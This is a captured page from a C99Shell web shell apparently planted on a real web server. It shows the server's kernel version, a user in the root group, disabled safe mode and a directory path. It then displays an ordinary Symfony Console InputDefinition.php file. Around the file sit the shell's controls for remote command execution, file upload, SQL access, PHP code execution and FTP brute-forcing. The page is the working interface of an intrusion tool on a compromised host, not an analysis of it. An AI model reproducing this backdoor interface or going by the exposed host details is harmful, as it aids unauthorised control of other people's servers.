!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/vendor/symfony/console/Input/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     InputDefinition.php (11.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Console\Input;

use 
Symfony\Component\Console\Exception\InvalidArgumentException;
use 
Symfony\Component\Console\Exception\LogicException;

/**
 * A InputDefinition represents a set of valid command line arguments and options.
 *
 * Usage:
 *
 *     $definition = new InputDefinition([
 *         new InputArgument('name', InputArgument::REQUIRED),
 *         new InputOption('foo', 'f', InputOption::VALUE_REQUIRED),
 *     ]);
 *
 * @author Fabien Potencier <fabien@symfony.com>
 */
class InputDefinition
{
    private 
$arguments;
    private 
$requiredCount;
    private 
$lastArrayArgument;
    private 
$lastOptionalArgument;
    private 
$options;
    private 
$negations;
    private 
$shortcuts;

    
/**
     * @param array $definition An array of InputArgument and InputOption instance
     */
    
public function __construct(array $definition = [])
    {
        
$this->setDefinition($definition);
    }

    
/**
     * Sets the definition of the input.
     */
    
public function setDefinition(array $definition)
    {
        
$arguments = [];
        
$options = [];
        foreach (
$definition as $item) {
            if (
$item instanceof InputOption) {
                
$options[] = $item;
            } else {
                
$arguments[] = $item;
            }
        }

        
$this->setArguments($arguments);
        
$this->setOptions($options);
    }

    
/**
     * Sets the InputArgument objects.
     *
     * @param InputArgument[] $arguments An array of InputArgument objects
     */
    
public function setArguments(array $arguments = [])
    {
        
$this->arguments = [];
        
$this->requiredCount 0;
        
$this->lastOptionalArgument null;
        
$this->lastArrayArgument null;
        
$this->addArguments($arguments);
    }

    
/**
     * Adds an array of InputArgument objects.
     *
     * @param InputArgument[] $arguments An array of InputArgument objects
     */
    
public function addArguments(?array $arguments = [])
    {
        if (
null !== $arguments) {
            foreach (
$arguments as $argument) {
                
$this->addArgument($argument);
            }
        }
    }

    
/**
     * @throws LogicException When incorrect argument is given
     */
    
public function addArgument(InputArgument $argument)
    {
        if (isset(
$this->arguments[$argument->getName()])) {
            throw new 
LogicException(sprintf('An argument with name "%s" already exists.'$argument->getName()));
        }

        if (
null !== $this->lastArrayArgument) {
            throw new 
LogicException(sprintf('Cannot add a required argument "%s" after an array argument "%s".'$argument->getName(), $this->lastArrayArgument->getName()));
        }

        if (
$argument->isRequired() && null !== $this->lastOptionalArgument) {
            throw new 
LogicException(sprintf('Cannot add a required argument "%s" after an optional one "%s".'$argument->getName(), $this->lastOptionalArgument->getName()));
        }

        if (
$argument->isArray()) {
            
$this->lastArrayArgument $argument;
        }

        if (
$argument->isRequired()) {
            ++
$this->requiredCount;
        } else {
            
$this->lastOptionalArgument $argument;
        }

        
$this->arguments[$argument->getName()] = $argument;
    }

    
/**
     * Returns an InputArgument by name or by position.
     *
     * @param string|int $name The InputArgument name or position
     *
     * @return InputArgument
     *
     * @throws InvalidArgumentException When argument given doesn't exist
     */
    
public function getArgument($name)
    {
        if (!
$this->hasArgument($name)) {
            throw new 
InvalidArgumentException(sprintf('The "%s" argument does not exist.'$name));
        }

        
$arguments \is_int($name) ? array_values($this->arguments) : $this->arguments;

        return 
$arguments[$name];
    }

    
/**
     * Returns true if an InputArgument object exists by name or position.
     *
     * @param string|int $name The InputArgument name or position
     *
     * @return bool
     */
    
public function hasArgument($name)
    {
        
$arguments \is_int($name) ? array_values($this->arguments) : $this->arguments;

        return isset(
$arguments[$name]);
    }

    
/**
     * Gets the array of InputArgument objects.
     *
     * @return InputArgument[]
     */
    
public function getArguments()
    {
        return 
$this->arguments;
    }

    
/**
     * Returns the number of InputArguments.
     *
     * @return int
     */
    
public function getArgumentCount()
    {
        return 
null !== $this->lastArrayArgument \PHP_INT_MAX \count($this->arguments);
    }

    
/**
     * Returns the number of required InputArguments.
     *
     * @return int
     */
    
public function getArgumentRequiredCount()
    {
        return 
$this->requiredCount;
    }

    
/**
     * @return array<string|bool|int|float|array|null>
     */
    
public function getArgumentDefaults()
    {
        
$values = [];
        foreach (
$this->arguments as $argument) {
            
$values[$argument->getName()] = $argument->getDefault();
        }

        return 
$values;
    }

    
/**
     * Sets the InputOption objects.
     *
     * @param InputOption[] $options An array of InputOption objects
     */
    
public function setOptions(array $options = [])
    {
        
$this->options = [];
        
$this->shortcuts = [];
        
$this->negations = [];
        
$this->addOptions($options);
    }

    
/**
     * Adds an array of InputOption objects.
     *
     * @param InputOption[] $options An array of InputOption objects
     */
    
public function addOptions(array $options = [])
    {
        foreach (
$options as $option) {
            
$this->addOption($option);
        }
    }

    
/**
     * @throws LogicException When option given already exist
     */
    
public function addOption(InputOption $option)
    {
        if (isset(
$this->options[$option->getName()]) && !$option->equals($this->options[$option->getName()])) {
            throw new 
LogicException(sprintf('An option named "%s" already exists.'$option->getName()));
        }
        if (isset(
$this->negations[$option->getName()])) {
            throw new 
LogicException(sprintf('An option named "%s" already exists.'$option->getName()));
        }

        if (
$option->getShortcut()) {
            foreach (
explode('|'$option->getShortcut()) as $shortcut) {
                if (isset(
$this->shortcuts[$shortcut]) && !$option->equals($this->options[$this->shortcuts[$shortcut]])) {
                    throw new 
LogicException(sprintf('An option with shortcut "%s" already exists.'$shortcut));
                }
            }
        }

        
$this->options[$option->getName()] = $option;
        if (
$option->getShortcut()) {
            foreach (
explode('|'$option->getShortcut()) as $shortcut) {
                
$this->shortcuts[$shortcut] = $option->getName();
            }
        }

        if (
$option->isNegatable()) {
            
$negatedName 'no-'.$option->getName();
            if (isset(
$this->options[$negatedName])) {
                throw new 
LogicException(sprintf('An option named "%s" already exists.'$negatedName));
            }
            
$this->negations[$negatedName] = $option->getName();
        }
    }

    
/**
     * Returns an InputOption by name.
     *
     * @return InputOption
     *
     * @throws InvalidArgumentException When option given doesn't exist
     */
    
public function getOption(string $name)
    {
        if (!
$this->hasOption($name)) {
            throw new 
InvalidArgumentException(sprintf('The "--%s" option does not exist.'$name));
        }

        return 
$this->options[$name];
    }

    
/**
     * Returns true if an InputOption object exists by name.
     *
     * This method can't be used to check if the user included the option when
     * executing the command (use getOption() instead).
     *
     * @return bool
     */
    
public function hasOption(string $name)
    {
        return isset(
$this->options[$name]);
    }

    
/**
     * Gets the array of InputOption objects.
     *
     * @return InputOption[]
     */
    
public function getOptions()
    {
        return 
$this->options;
    }

    
/**
     * Returns true if an InputOption object exists by shortcut.
     *
     * @return bool
     */
    
public function hasShortcut(string $name)
    {
        return isset(
$this->shortcuts[$name]);
    }

    
/**
     * Returns true if an InputOption object exists by negated name.
     */
    
public function hasNegation(string $name): bool
    
{
        return isset(
$this->negations[$name]);
    }

    
/**
     * Gets an InputOption by shortcut.
     *
     * @return InputOption
     */
    
public function getOptionForShortcut(string $shortcut)
    {
        return 
$this->getOption($this->shortcutToName($shortcut));
    }

    
/**
     * @return array<string|bool|int|float|array|null>
     */
    
public function getOptionDefaults()
    {
        
$values = [];
        foreach (
$this->options as $option) {
            
$values[$option->getName()] = $option->getDefault();
        }

        return 
$values;
    }

    
/**
     * Returns the InputOption name given a shortcut.
     *
     * @throws InvalidArgumentException When option given does not exist
     *
     * @internal
     */
    
public function shortcutToName(string $shortcut): string
    
{
        if (!isset(
$this->shortcuts[$shortcut])) {
            throw new 
InvalidArgumentException(sprintf('The "-%s" option does not exist.'$shortcut));
        }

        return 
$this->shortcuts[$shortcut];
    }

    
/**
     * Returns the InputOption name given a negation.
     *
     * @throws InvalidArgumentException When option given does not exist
     *
     * @internal
     */
    
public function negationToName(string $negation): string
    
{
        if (!isset(
$this->negations[$negation])) {
            throw new 
InvalidArgumentException(sprintf('The "--%s" option does not exist.'$negation));
        }

        return 
$this->negations[$negation];
    }

    
/**
     * Gets the synopsis.
     *
     * @return string
     */
    
public function getSynopsis(bool $short false)
    {
        
$elements = [];

        if (
$short && $this->getOptions()) {
            
$elements[] = '[options]';
        } elseif (!
$short) {
            foreach (
$this->getOptions() as $option) {
                
$value '';
                if (
$option->acceptValue()) {
                    
$value sprintf(
                        
' %s%s%s',
                        
$option->isValueOptional() ? '[' '',
                        
strtoupper($option->getName()),
                        
$option->isValueOptional() ? ']' ''
                    
);
                }

                
$shortcut $option->getShortcut() ? sprintf('-%s|'$option->getShortcut()) : '';
                
$negation $option->isNegatable() ? sprintf('|--no-%s'$option->getName()) : '';
                
$elements[] = sprintf('[%s--%s%s%s]'$shortcut$option->getName(), $value$negation);
            }
        }

        if (
\count($elements) && $this->getArguments()) {
            
$elements[] = '[--]';
        }

        
$tail '';
        foreach (
$this->getArguments() as $argument) {
            
$element '<'.$argument->getName().'>';
            if (
$argument->isArray()) {
                
$element .= '...';
            }

            if (!
$argument->isRequired()) {
                
$element '['.$element;
                
$tail .= ']';
            }

            
$elements[] = $element;
        }

        return 
implode(' '$elements).$tail;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]--